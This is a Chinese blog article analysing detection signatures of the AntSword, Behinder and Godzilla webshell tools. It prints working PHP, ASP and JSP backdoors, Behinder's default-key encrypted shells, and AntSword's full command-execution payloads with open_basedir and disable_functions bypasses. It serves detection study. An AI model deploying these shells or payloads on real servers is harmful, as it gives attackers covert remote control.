WebShell 特征分析
WebShell 特征分析
作者:HaiCheng@助安社区,关注公众号领取学习路线和资料。
WebShell
是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为asp
/jsp
/php
。主要用于网站管理,服务器管理,权限管理等操作。使用方法简单,只需要上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站的服务器的管理。
正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的,也可以将其称为一种网页后门
常见的一句话木马:
<?php eval($_POST['shell']); ?>
蚁剑
Antsword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和或授权的安全研究人员以及网站管理员的需求。
github项目地址: https://github.com/AntSwordProject/antSword
蚁剑演示
成功入侵一个网站后,通常会将asp或者php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以到达控制网站服务器的目的
静态特征
蚁剑官方提供制作好的后门:https://github.com/AntSwordProject/AwesomeScript
php
中使用assert
,eval
等命令执行:
通过create_function
创建方法的方式来调用执行eval($_POST['ant'])
asp
使用的是eval
命令执行:
在jsp
使用的是Java
类加载(ClassLoader
),同时会带有base64
编码解码等字符特征
动态特征
使用一句话木马
<?php eval($_POST["shell"]); ?>
每一个请求体都存在@ini_set("display_errors",“0”);@set_time_limit(0)
开头。并且存在base64
等字符相应包的结果返回格式为:** 随机数+结果+随机数**
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.f5fe04b0758";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "3b5f"."064c";
echo @asenc($output);
echo "83c25"."58ff6f";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
使用base64
编辑器和解码器时连接:
蚁剑会随机生成一个参数传入base64
编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64
解码后使用eval
执行,影响包的结果返回格式为: 随机数+编码后的结果+随机数
由此可见,是将执行的命令编译成base64
编码并赋值给m4f819bff558d5
,再让eval
去执行
m4f819bff558d5=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmZmODIzOCI7QG1rZGlyKCR0bWRpcik7aWYoIUBmaWxlX2V4aXN0cygkdG1kaXIpKXtjb250aW51ZTt9JHRtZGlyPXJlYWxwYXRoKCR0bWRpcik7QGNoZGlyKCR0bWRpcik7QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsICIuLiIpOyRjbnRhcnI9QHByZWdfc3BsaXQoIi9cXFxcfFwvLyIsJHRtZGlyKTtmb3IoJGk9MDskaTxzaXplb2YoJGNudGFycik7JGkrKyl7QGNoZGlyKCIuLiIpO307QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTtAcm1kaXIoJHRtZGlyKTticmVhazt9O307O2Z1bmN0aW9uIGFzZW5jKCRvdXQpe3JldHVybiAkb3V0O307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjRmOWZkIi4iOGZmZDQiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImFkMyIuImVmYjUiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D&shell=%40eval(%40base64_decode(%24_POST%5B'm4f819bff558d5'%5D))%3B
通过蚁剑建立连接调试:
通过蚁剑执行cmd
调试:
c1b6e04401fbf4=XYY2QgL2QgIkQ6XFx4YW1wcFxcaHRkb2NzXFxpdGVtXFxhZG1pbiImd2hvYW1pJmVjaG8gNzI4OGIzNjZiMDk0JmNkJmVjaG8gNzQzZDhiZjZjZTI=&ha38b5d79daf84=D0Y21k&nb8d2d1977dcdd=wu&shell=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.85161";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "5d1"."669";
echo @asenc($output);
echo "95e070"."9c0b16";
}
ob_start();
try {
$p=base64_decode(substr($_POST["ha38b5d79daf84"],2));
$s=base64_decode(substr($_POST["c1b6e04401fbf4"],2));
$envstr=@base64_decode(substr($_POST["nb8d2d1977dcdd"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/") {
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)) {
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f) {
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)) {
$d=array();
} else {
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
}
;
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
;
function runcmd($c) {
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')) {
@system($c,$ret);
} elseif(fe('passthru')) {
@passthru($c,$ret);
} elseif(fe('shell_exec')) {
print(@shell_exec($c));
} elseif(fe('exec')) {
@exec($c,$o,$ret);
print(join("
",$o));
} elseif(fe('popen')) {
$fp=@popen($c,'r');
while(!@feof($fp)) {
print(@fgets($fp,2048));
}
@pclose($fp);
} elseif(fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])) {
print(@fgets($io[1],2048));
}
while(!@feof($io[2])) {
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif(fe('antsystem')) {
@antsystem($c);
} elseif(runshellshock($d, $c)) {
return $ret;
} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
;
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
冰蝎
冰蝎是一款动态二进制加密网站管理客户端。
github地址:https://github.com/rebeyond/Behinder
主要功能为:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大
冰蝎的加密原理:"冰蝎"在服务端支持open_ssl
时,使用AES
加密算法,密钥长度16位,也可称为AES-16
。此在软件及硬件(英特尔处理器的AES指令集包含六条指令)上都能快速地加解密,内存需求低,非常适合流量加密。
在冰蝎文件中,server文件中存在了各种类型的木马文件
静态特征
在PHP中会判断是否开启openssl采用不同的加密算法,在代码中同样会存在eval,assert等字符特征
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
在aps
中会在for
循环进行一段异或处理
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>
在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte []b) {
return super.defineClass(b,0,b.length);
}
}
%><%if (request.getMethod().equals("POST")) {
String k="e45e329feb5d925b";
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
动态特征
连接shell
过程中会存在个客户端和服务器之间交换aes
密钥的环节
当冰蝎连接网站Webshell
是发送请求包:
base64
解码得出:
assert|eval(base64_decode('@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //åå§åsessionï¼é¿å
connectä¹åç´æ¥backgroundï¼åç»getresultæ æ³è·åcookie
echo encrypt(json_encode($result));
}
function Encrypt($data)
{
@session_start();
$key = $_SESSION['k'];
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
$content="eVFUSnVFWTk1OUEwVTRSQ09ldFRYdXQ4STlRc2ZUakxRc2NqTTE2akc0RTBrZkhDU1R3RGZhTHRvT2VYMEVBOUJIRU03akFNakdxaUJNdE4xRnNSTnJqbTNlR3Q2R0xuQ1hudnR0S3dUMTZJdWhBeTJtSGJGb21scjAwNEVqSURPeVpHUkJVN3pBTnFGbTVhMzNMVnhPSzN2cWVzaXd0SWU1SEptVHB0QkltMExLcXpUZUxtOWtKOUtrc0xwaVQ5SVFBUnFrU0dKZE51SlVFZ3pJa29sNVE0dFFscUpMbE05MEt5Y21ndTBwQ1JOTkRpZ1lFempURXc5UTJYR0hRb0hDWEZuU0Q3eUhGQXkyWHBObTRDQ0xiSlg0cFhkdHVhbkJPYTlaSEoyT1BGc21DNHp5WTlBSFE3aTMyT0FQVDZEeEpsckJ4NGFjbk9UOG9XUjVTOGVqamNqSG9TazRESGloZVpsQkVPTmlqNXRLblRDMTdjSHJ4eXZLTjVkSnNteXRjVVlxNmtYVElrRURHRUZDRzFieGwzSFF0aEJPbVJsVWVncVhJSXpuVUNZMEVhbml4cHJhZnV1bHJSQ1NxWnlSaXQwbHdBaTE5NWZLOWdOQjJxQWEyMXFZQ1VTNDZaMTgwUkk3dVRKZmFaTktlZTlnYW5JYVllRWRBY0hwYlFZWUROOHdlUVgwcDVjaTh3T3RCeUx2TDI0Y0JsOTJXa29XR0NpVUd1bFNUM21ab0dTYnIzVHZpYWxGcXhMb3ZZVUdUMjBzR0JDajZLMU94OU1wYnZDdGd2NW9jMHBJUkR3bTh2c1JNOHZXWU96R0toVzQ4cThIM1NQRTlQQ2lkblE4c0xRdE0yblR3RmwyV281cldSbGE0VkExemJJM2REanVwdXdscUhwQ2dENVVkUlVTTnlseWdlUmpwazVVcERGaDlmZXpUdVd4WHVlbHZ2a1dIYmlUdkVrVTdaU3JzZ0FQVmtIUVZta1VTNVFXb0JLYmZDN2tWTzFhZmxqcEFkTEl0M2w4SDhNNVBoU095R3pwR0w5dlpSNWdnZlBxNHh3SUZObHgyNFlIUW1NVTFDNk5tRDJlRXU5MzVyREFEcnkwWkczb1c0eFFEeXNsY25ZbHJYaDBsWDlqTVJUdVZuWDh6WnNqVDViM0xIS3VNQTJnOFpjNFV6VjQ5Skp6YkNjVUxPUU5Lb1R6enJhUmJtdnYwYXI0dDY2eWU0RnR6MHZRbTNjQ2tRR3BMdFVSaFVRQ1p0VzI3SlJNV0VOdTZhcjRvaWhJSlVwclBmRTk5RFRqbE55d3ZUVFl5REJRMTF0cXgxZllnNGJzV084M3NWakJtcVZYdEFvSGFDZkFDclVZNFRxdVNGUGtXU0dDVmZVQVpTODhEeTVSY2ZGeEx6NVh6N3lCQjhRWEhwS3Aya1RVamhySnNkazhMa2x6MWd2MVU1VkJkWnpycTZXcmZrV3pXYWlDVDlxcGNxa0daUmxNalk1NzVITFpBQnZsZjR3TFVqUTBqZ0JaZzNwYXBrOFZ3UEk4NkpuM0hvNllGeUYwVUFOVEk2RWNFbHkyV05Cc1ZseUtJclFlckRYalhoblQ4dWlXTTEyZGhmNFpaZ0NzMmNUd3FNbnc5R2xvSFM1R09KRElLNXU2dGR0ZktTRTRINmFGNGpYVG5pSzZXejhsTkpZeGpLeDZydE51M2pWYVlDR0NzS2lHQ0tRd2RhUmE2TmxzaDBZaGpKUEZuQmVPbGcxQWNRamx4Q3dtb3pkMzFyYllqeEVhdHdIaTFkekhRTVdGeVdScjF1RVphSUZCY3htMHVnMFFKUWFhUkRsend1dnl5SFR4TjRQakd4eW95YVRoSTExN3FIR1NQN244REd5M2lCQmk4R1ZCbzk0Y2FHSmdibzA3RkdOdUdMa2V0RDI4ZUNxaE5Mc0xuRW5SUXZDZ0dNdVhreHpqdjRrekRTblFXdU9RWFQ2WE5BeXB5Q1RwTUlkSmVRZ0FESEpCMkowR3hzRTAxMExvRTBxaUxyanlWdWFJM0NTazJ2VTJBV2xRWHFOelBITHFTNUNOSjJTMHZCSkh2WjlnQ2dHaDVkVVpGeWdERWNEYURoZWVpSklmTFFOVGhOckRyN29LYWtKTzRwaVFkNGY2OTF4VFphUElJc2FGVnBUZzMwQjlENFk4S29ZUTVQZWVsbU9sQkZWbE9pQkxVbnp2MlNGbm1xUFU5UWRxTTVVbmt0U3hNNG9VSXlzR3g5V25iSU15U09MejZvWmdZTXRQRXlEcG9ZMkpQbVhtR1RpemNv";$content=base64_decode($content);
main($content);'));
Payload二次解密调试:
第一个包将success
字符串base64
编码
将一个特定内容的字符串base64
编码 使用加密方式进行加密
将$post
变量中的内容放置到pack1.php
文件中做调试:
抓包后放包自动抓取第二个包:
而eval
执行base64
里面加密内容,总体的过程是为:
Payload
->base64
加密->使用eval
函数执行加密后的代码->AES
对称加密全部Payload
->传输获得密钥,再加密传输
再将$post
变量中的内容放置到pack2.php
文件中
哥斯拉
github下载地址:https://github.com/BeichenDream/Godzilla]
静态特征
哥斯拉的webshell需要动态生成,可以根据需求选择各种不同的加密方式
jsp文件木马:
选择默认脚本编码生成的情况下,jsp
会出现xc
,pass
字符和java
反射(ClassLoader
,GetClass().getClassLoader()
),base64
加解码等特征
php
,asp
则为普通的一句话木马:
<?php eval($_POST["shell"])?>
<%eval request("pass")%>
动态特征
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate
哥斯拉利用WebShell
方式是:通过AES
加密 -> Base64
编码 -> 再通过MD5
认证 -> 最后执行相关代码
分析了一下Payload
的内容,包含run
、bypass_open_basedir
、formatParameter
、evalFunc
等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能